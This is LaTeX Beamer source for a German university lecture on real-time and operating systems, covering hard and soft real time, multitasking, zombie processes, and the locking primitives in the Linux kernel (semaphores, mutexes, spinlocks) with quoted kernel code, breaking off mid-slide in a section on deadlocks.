-\usepackage{tikz} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks} - \psset{unit=1cm} -\end{psinputs} - -\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{13.\ Juni 2022} - -\begin{document} - -\newlength{\normalpdfpageheight} -\setlength{\normalpdfpageheight}{\pdfpageheight} - -\maketitleframe - -\setcounter{section}{3} -\section{Echtzeit} -\subsection{Was ist Echtzeit?} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} -% \pause - \item - Animation in Echtzeit:\\ - schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung -% \pause - \medskip - \item - Fantasy-Rollenspiel in Echtzeit:\\ - Der Zeitverlauf der Spielwelt entspricht dem der realen Welt. -% \pause - \medskip - \item - Datenverarbeitung in Echtzeit:\\ - Die Daten werden so schnell verarbeitet, wie sie anfallen. -% \pause - \medskip - \item - speziell: Echtzeit-Steuerung von Maschinen:\\ - Die Berechnung kann mit den physikalischen Vorgängen schritthalten. -% \pause - \bigskip - \arrowitem - "`Schnell genug."' - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - "`Schnell genug."' % \pause - -- "`Und wenn nicht?"' - -% \pause - - \begin{itemize} - \item - "`Ganz schlecht."' % \pause - \textarrow\ \newterm{harte Echtzeit} - \begin{onlyenv}<1> - \begin{picture}(0,0)(0,-0.3) -% \pause - \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606 -% \pause - \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}} - %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}} - % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg -% \pause - \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642 -% \pause - \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}} - % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344 - \end{picture} - \end{onlyenv} - \pause\\[2pt] - rechtzeitiges Ergebnis funktionsentscheidend - - \smallskip - - \pause - \item - "`Unschön."' \textarrow\ \newterm{weiche Echtzeit} - \begin{onlyenv}<3> - \begin{picture}(0,0)(0,0.3) -% \pause - \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}} - % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg -% \pause - \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655 - \end{picture} - \end{onlyenv} - \pause\\[2pt] - verspätetes Ergebnis qualitätsmindernd - \begin{itemize} - \baselineskip14pt\par - \item - verwenden und Verzögerung in Kauf nehmen - \item - verwerfen und Ausfall in Kauf nehmen - \end{itemize} - - \smallskip - - \pause - \item - "`Es gibt keinen festen Termin. Möglichst schnell halt."' % \pause - \\[2pt] - \textarrow\ \newterm{keine Echtzeit} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} - \begin{picture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \put(2.75,0.875){\vector(1,3){0.25}} -% \put(2.75,0.875){\line(2,1){0.5}} -% \put(3.25,1.125){\vector(-1,-3){0.25}} - \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}} - \end{picture} -% \begin{pdfpic} -% \begin{pspicture}(6,2) -% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} -% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) -% \end{pspicture} -% \end{pdfpic} - \end{center} - -% \pause - - Beispiel: - \begin{itemize} - \item - Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\ - dessen Berechnung maximal \SI{10}{\mics} dauert. -% \pause[3] - \item - Entweder: Der Steuer-Computer macht noch andere Dinge.\\ - \textarrow\ Risiko der Zeitüberschreitung -% \pause - \item - Oder: Der Steuer-Computer macht nichts anderes.\\ - \textarrow\ Verschwendung von Rechenzeit\\ -% \pause - {\color{red}\textarrow\ Na und?} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} - \begin{pdfpic} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - \end{pdfpic} - \end{center} - - \medskip - - {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}} - - \medskip - - Große Stückzahlen - \begin{itemize} - \item - 138\,000 Toyota Prius V von Mai 2011 bis April 2012 - \item - Software viel im Einsatz: Server, Rechenzentrum - \end{itemize} - - \medskip - - \pause - Wertvolle Ressourcen - \begin{itemize} - \item - Fähigkeiten einer Raumsonde optimieren\\ - (Marsumlaufbahn:\\ab ca.~127\,000 Euro pro kg) - % 70000000 / 550000 = 127._27 - % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/ - \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\vspace*{1cm}\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}} - \pause - \item - Implantat: Platz- und Stromverbrauch minimieren - \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}} - \end{itemize} - - \bigskip - - \pause - \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt] - \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - -\end{frame} - -\subsection{Echtzeitprogrammierung} - -\begin{frame} - - \showsubsection - - Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - - \bigskip - - \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:} - - \begin{itemize} - \pause - \item - ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\ - % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG - Funk- vs.\ UART-Protokoll\\ - \textarrow\ dedizierte Hardware - \pause - \item - RP6:\\ - Motorsteuerung vs.\ Anwender-Software\\ - \textarrow\ spezielle Software - \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}} - \pause - \item - Quadrocopter:\\ - Motorsteuerung vs.\ Sensoren-Abfrage\\ - vs.\ Funk-Fernsteuerung \dots\\ - \textarrow\ spezielle Software - \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\ - \pause - \item - Flugzeugkabinensimulatortür:\\ - Türsteuerung vs.\ Bedienung\\ - \textarrow\ Echtzeitbetriebssystem - \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - \pause - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\ - 1000mal pro Sekunde: Stopwatches\\ - 5mal pro Sekunde: Blinkende Power-On-LED\\ - 1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\ - Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\ - Anpassung der Motorkraft in $\pm$1-Schritten - \pause - \item - Nebenbei: \only<4->{1 }Benutzerprogramm - \end{itemize} - -\end{frame} - -\subsection{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{minipage}[t]{6cm} - Qualitätssicherung beim Multitasking - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ - vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{Mutexe} - (= spezielle \newterm{Semaphore\/})\\ - \strut - \item - Verschiedene Methoden\\ - der Priorisierung\\ - \strut - \item - Umgehung der Probleme durch - speziell geschriebene Software\\ - (MultiWii, RP6, \dots) - \end{itemize} - \end{minipage} - \hfill - \begin{minipage}[t]{6.2cm} - Qualitätssicherung für Netzwerke: - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} - \item - Klassifizierung und Priorisierung: - \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) - bzw.\ Traffic-Class-Bits (IPv6) im IP-Header - \item - Eigenes Protokoll (Telefondienste):\\ - \newterm{Asynchronous Transfer Mode (ATM)} - \end{itemize} - \end{minipage} - -\end{frame} - -% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - -% evtl. Aufgabe: Warte-Problem - -% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme -% das o.a. Zuteilungsproblem? - -% Danach: Semaphoren, Mutexe, Spinlocks -% Priorisierungsmethoden und -probleme - -\subsectionnonumber{Beispiele für Multitasking} - -\begin{frame} - - \showsubsectionnonumber - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - verschiedene Tasks werden unterschiedlich häufig aufgerufen - \item - Nebenbei: 1 Benutzerprogramm - \end{itemize} - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt:\only<1->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ - Task mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ - bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. - \item<1-> - \emph{keine\/} harte Echtzeit - % Aufgabe: Wo wird der Zähler heruntergezählt? - \end{itemize} - -\end{frame} - -\subsectionnonumber{Zombies} - -\begin{frame} - - \showsubsectionnonumber - - \pause - Wikipedia: - \begin{quote} - Als Zombie wird die fiktive Figur eines zum Leben erweckten - Toten (Untoter) oder eines seiner Seele beraubten, willenlosen - Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe - aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet - dort ursprünglich einen Totengeist. - \end{quote} - - \bigskip - - \pause - Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ - bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ - hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ - wird aber noch in der Prozeßliste geführt ("`untot"'). - \begin{itemize} - \pause - \item - Warum? - \textarrow\ - Ein anderer Prozeß (Elternprozeß) wartet noch auf den - Rückgabewert des beendeten Prozesses. - \pause - \item - Schadet das? - \textarrow\ - Nein. - \pause - \item - Aber? - \textarrow\ - Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen - Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. - \pause - \item - Beispiel: - Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ - \textarrow\ - Tochterprozesse werden zu Zombies. - \end{itemize} - -\end{frame} - -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \begin{onlyenv}<1> - \par\medskip - griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ - "`Eisenbahnsignal"' - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \begin{onlyenv}<2> - \par\medskip - englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ - spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ - % allgemein: auch jemand anderer dürfte freigeben - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \begin{onlyenv}<3> - \par\medskip - englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ - \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] - Hardware-Unterstützung: - Prüfen, ob Variable bestimmten Wert hat;\\ - wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \vspace*{-1cm} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren: Beispiele - \begin{itemize} - \item - \newterm{Semaphor}\\ - \file{linux-3.7-rc1/kernel/semaphor.c}\\ - \file{linux-3.7-rc1/drivers/usb/core/file.c} - \medskip - \item - \newterm{Mutex}\\ - \file{linux-3.7-rc1/kernel/mutex.c}\\ - \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c} - \medskip - \item - \newterm{Spinlock}\\ - \file{linux-3.7-rc1/kernel/spinlock.c}\\ - \file{linux-3.7-rc1/kernel/semaphor.c}, - \file{linux-3.7-rc1/kernel/mutex.c} - \end{itemize} - - % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - - % evtl. Aufgabe: Warte-Problem - - % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme - % das o.a. Zuteilungsproblem? - - % Danach: Semaphoren, Mutexe, Spinlocks - % Priorisierungsmethoden und -probleme - - % Festplatten: completely fair queueing - % cat /sys/block/sdc/queue/scheduler - % "noop" hat sich für SVG gelohnt - - % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Beispiel:} - \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - struct usb_serial *usb_serial_get_by_index (unsigned index) - { - struct usb_serial *serial; - mutex_lock (&table_lock); - serial = serial_table[index]; - if (serial) - { - mutex_lock (&serial->disc_mutex); - if (serial->disconnected) - { - mutex_unlock (&serial->disc_mutex); - serial = NULL; - } - else - kref_get (&serial->kref); - } - mutex_unlock (&table_lock); - return serial; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(5.1,6.85){\vector(-1,0){0.5}} - \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} - \put(5.4,1.35){\vector(-1,0){0.5}} - \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{48cm} - -\begin{frame}[fragile] - - \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - void __sched mutex_lock (struct mutex *lock) - { - might_sleep (); - __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); - mutex_set_owner (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.6,1.35){\line(-1,0){1}} - \put(11.6,1.35){\line(0,-1){2.45}} - \put(11.6,-1.10){\vector(-1,0){2.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 - - Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) - - \medskip - - Assembler: - \begin{lstlisting}[language={[x86masm]Assembler}] - lock dec (lock->count) - jns 1 - call __mutex_lock_slowpath - 1: - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9,0.95){\line(-1,0){3.5}} - \put(9,0.95){\line(0,-1){2.5}} - \put(9.0,-1.55){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 - - \medskip - - \begin{lstlisting} - static __used noinline void __sched - __mutex_lock_slowpath (atomic_t *lock_count) - { - struct mutex *lock = container_of (lock_count, struct mutex, count); - __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, - NULL, _RET_IP_); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.0,1.40){\line(-1,0){1.0}} - \put(11.0,1.40){\vector(0,-1){2.5}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 - - \medskip - - \begin{lstlisting} - static inline int __sched - __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, - struct lockdep_map *nest_lock, unsigned long ip) - { - struct task_struct *task = current; - struct mutex_waiter waiter; - unsigned long flags; - - preempt_disable (); - mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); - - /* ... */ - - spin_lock_mutex (&lock->wait_lock, flags); - - debug_mutex_lock_common (lock, &waiter); - debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); - - /* add waiting tasks to the end of the waitqueue (FIFO): */ - list_add_tail (&waiter.list, &lock->wait_list); - waiter.task = task; - - if (atomic_xchg (&lock->count, -1) == 1) - goto done; - - lock_contended (&lock->dep_map, ip); - - for (;;) - { - /* - * Lets try to take the lock again - this is needed even if - * we get here for the first time (shortly after failing to - * acquire the lock), to make sure that we get a wakeup once - * it's unlocked. Later on, if we sleep, this is the - * operation that gives us the lock. We xchg it to -1, so - * that when we release the lock, we properly wake up the - * other waiters: - */ - if (atomic_xchg (&lock->count, -1) == 1) - break; - - /* - * got a signal? (This code gets eliminated in the - * TASK_UNINTERRUPTIBLE case.) - */ - if (unlikely (signal_pending_state (state, task))) - { - mutex_remove_waiter (lock, &waiter, task_thread_info (task)); - mutex_release (&lock->dep_map, 1, ip); - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - return -EINTR; - } - __set_task_state (task, state); - - /* didn't get the lock, go to sleep: */ - spin_unlock_mutex (&lock->wait_lock, flags); - schedule_preempt_disabled (); - spin_lock_mutex (&lock->wait_lock, flags); - } - - done: - lock_acquired (&lock->dep_map, ip); - /* got the lock - rejoice! */ - mutex_remove_waiter (lock, &waiter, current_thread_info ()); - mutex_set_owner (lock); - - /* set it to 0 if there are no waiters left: */ - if (likely (list_empty (&lock->wait_list))) - atomic_set (&lock->count, 0); - - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(7.9,28.3){\vector(-1,0){0.5}} - \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} - \put(7.4,2.3){\vector(-1,1){0.4}} - \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{50.5cm} - -\begin{frame}[fragile] - - \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} - - Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 - - \medskip - - \begin{lstlisting} - #define spin_lock_mutex(lock, flags) \ - do \ - { \ - spin_lock (lock); \ - (void) (flags); \ - } \ - while (0) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(8.5,1.75){\line(-1,0){4.5}} - \put(8.5,1.75){\line(0,-1){2.9}} - \put(8.5,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 - - \medskip - - \begin{lstlisting} - static inline void spin_lock (spinlock_t *lock) - { - raw_spin_lock (&lock->rlock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.3,0.95){\line(-1,0){4.0}} - \put(9.3,0.95){\line(0,-1){2.1}} - \put(9.3,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 - - \medskip - - \begin{lstlisting} - #define raw_spin_lock(lock) _raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.0,0.55){\line(-1,0){0.5}} - \put(10.0,0.55){\line(0,-1){1.7}} - \put(10.0,-1.15){\vector(-1,0){1.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 - - \medskip - - \begin{lstlisting} - #define _raw_spin_lock(lock) __raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,0.55){\line(-1,0){0.5}} - \put(10.7,0.55){\line(0,-1){1.75}} - \put(10.7,-1.2){\vector(-1,0){2.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): - - \medskip - - \begin{lstlisting} - void __lockfunc __raw_spin_lock (spinlock_t *lock) - { - for (;;) - { - preempt_disable (); - if (likely (do_raw_spin_trylock (lock))) - break; - preempt_enable (); - - if (!(lock)->break_lock) - (lock)->break_lock = 1; - while (!raw_spin_can_lock (lock) && (lock)->break_lock) - arch_spin_relax (&lock->raw_lock); - } - (lock)->break_lock = 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,4.75){\line(-1,0){3.5}} - \put(10.7,4.75){\line(0,-1){5.95}} - \put(10.7,-1.2){\vector(-1,0){1.1}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: - - \medskip - - \begin{lstlisting} - static inline int do_raw_spin_trylock (raw_spinlock_t *lock) - { - return arch_spin_trylock (&(lock)->raw_lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.5,0.95){\line(-1,0){3.5}} - \put(11.5,0.95){\line(0,-1){2.1}} - \put(11.5,-1.15){\vector(-1,0){0.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: - - \medskip - - \begin{lstlisting} - static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) - { - return __ticket_spin_trylock (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.5,0.95){\line(-1,0){3.5}} - \put(9.5,0.95){\vector(0,-1){1.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: - - \medskip - - \begin{lstlisting} - static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) - { - arch_spinlock_t old, new; - - old.tickets = ACCESS_ONCE (lock->tickets); - if (old.tickets.head != old.tickets.tail) - return 0; - - new.head_tail = old.head_tail + (1 << TICKET_SHIFT); - - /* cmpxchg is a full barrier, so nothing can move before it */ - return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,0.3){\line(0,1){0.4}} - \put(9.0,0.3){\line(-1,0){6.8}} - \put(9.0,0.3){\line(0,-1){1.45}} - \put(9.0,-1.15){\vector(-1,0){3.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: - - \medskip - - \begin{lstlisting} - #define cmpxchg(ptr, old, new) \ - __cmpxchg (ptr, old, new, sizeof (*(ptr))) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.0,0.5){\line(-1,0){1.8}} - \put(9.0,0.5){\line(0,-1){1.65}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: - - \medskip - - \begin{lstlisting} - #define __cmpxchg(ptr, old, new, size) \ - __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,-0.1){\line(0,1){0.3}} - \put(9.0,-0.1){\line(-1,0){6.8}} - \put(9.0,-0.1){\line(0,-1){1.05}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: - - \medskip - - \begin{lstlisting} - asm volatile (lock "cmpxchgl %2,%1" \ - : "=a" (__ret), "+m" (*__ptr) \ - : "r" (__new), "0" (__old) \ - : "memory"); - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.8,1.8){\vector(-1,0){0.6}} - \put(9.8,1.2){\line(0,1){0.6}} - \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{\normalpdfpageheight} - -%\sectionnonumber{Literaturempfehlung} -%\subsectionnonumber{Automotive Embedded Systeme} -% -%\begin{frame}[c] -% -% \showsectionnonumber -% -% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ -% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: -% -% \medskip -% -% \showsubsectionnonumber -% -% \vspace{-\medskipamount} -% -% Springer-Verlag, Berlin, Heidelberg 2005 -% -% \bigskip -% -% Lizenz: proprietär -% -% \medskip -% -% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) -% -%\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \begin{picture}(0,0) - \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} - \end{picture}% - \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen - \begin{itemize} - \item - \newterm{Deadlock\/}: Prozeß wartet - \item - \newterm{Livelock\/}: Prozeß macht andere Dinge\\ - (z.\,B.\ \emph{busy waiting\/}) - \end{itemize} - - \pause - \bigskip - - Beispiel: Philosophenproblem - - \only<2-3>{% - \begin{itemize} - \item - 5 Philosophen, 5 Gabeln - \item - 2 Gabeln zum Essen notwendig - \item - Wer essen will, nimmt eine Gabel\\ - und wartet notfalls auf die zweite. - \item - Keiner legt eine einzelne Gabel\\ - wieder zurück. - \end{itemize} - Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] - \pause - \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ - \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] - } - \only<4->{% - \bigskip - - 